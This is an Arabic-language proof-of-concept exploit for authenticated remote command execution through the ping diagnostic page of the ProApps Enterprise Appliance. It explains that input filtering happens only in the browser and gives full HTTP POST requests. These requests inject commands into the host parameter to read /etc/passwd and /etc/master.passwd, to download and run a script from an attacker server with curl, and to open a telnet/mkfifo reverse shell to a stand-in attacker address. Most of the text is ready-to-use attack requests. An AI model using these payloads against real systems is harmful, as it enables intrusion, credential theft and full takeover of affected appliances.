
إثبات مفهوم لاستغلال تنفيذ الأوامر عن بُعد عبر حقن الأوامر في وظيفة ping الخاصة بـ ProApps Enterprise Appliance، مع حمولة قشرة عكسية وتجاوز لتنقية التحقق من جانب العميل.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
تنفيذ الأكواد عن بُعد
تحدث الثغرة لأن المستخدم يمكنه حقن أوامر نظام من خلال التطبيق باستخدام وظيفة ping بإضافة عامل تشغيل تسلسلي للأوامر في بيئات Unix، مثل (; أو && أو |). لاستغلال الثغرة، يلزم أن يكون المستخدم مصادقًا عليه. ويجب أن ينتمي المستخدم إلى مجموعة صلاحيات تسمى 'Status' وأن يكون لديه صلاحية 'Modified'. من المهم أيضًا ذكر أن الاستغلال الناجح يتطلب تجاوز تعقيم المدخلات. يتحقق التطبيق من إدخال المستخدم في الواجهة الأمامية فقط، مما يجعل من الضروري إرسال الطلب عبر بروكسي شبكة، على سبيل المثال. وبهذه الطريقة يتم تجاوز القيود التي يفرضها التطبيق.
بعد المصادقة، سيكون من الضروري الوصول إلى صفحة تسمى sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
توفر هذه الصفحة وظيفة لإجراء طلب ICMP إلى مضيف عشوائي. لمعرفة المزيد عن أداة ping وبروتوكول ICMP (طلب ورد)، يرجى الرجوع إلى RFC المذكور في قسم المراجع.
يرسل التطبيق طلب POST مع المعاملات host وtestar_pacote وttl، حيث يكون host هو هدف ping، وtestar_pacote يحدد عدد طلبات ICMP المراد إرسالها، وTTL هو وقت البقاء (Time to Live) للحزم. عند إرسال الطلب، ينفذ التطبيق الأمر التالي على نظام Unix: ping -c $testar_pacote $host. فيما يلي طلب POST الموضح للوظيفة:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
هنا يظهر متجه الهجوم. يمكن للمستخدم استغلال الثغرة بإرسال طلب POST خبيث عبر بروكسي شبكة لتجاوز تعقيم المدخلات، وذلك بإلحاق أحد عوامل تشغيل تسلسل الأوامر (; أو && أو |) بمعامل host، وسيقوم تطبيق الويب بتنفيذ أمر ping المذكور أعلاه متبوعًا بأمر إضافي. على سبيل المثال، قد يشمل ذلك قراءة ملفات حساسة مثل /etc/passwd أو /etc/master.passwd أو الحصول على قشرة عكسية أو تنفيذ أوامر عشوائية.
طلب POST التالي هو مثال مُصمَّم وخبيث:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
طلب HTTP POST إلى sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
من خلال الاستماع على المنفذ المحدد باستخدام Netcat، يتم فتح قشرة عكسية بنجاح.
تسمح ثغرات RCE (تنفيذ الأكواد عن بُعد) للمهاجم بتنفيذ تعليمات برمجية عشوائية على جهاز بعيد، مما قد يؤدي إلى اختراق كامل للنظام، وانتهاك البيانات، والحركة الجانبية، ونشر البرمجيات الخبيثة، وأضرار مالية ومتعلقة بالسمعة.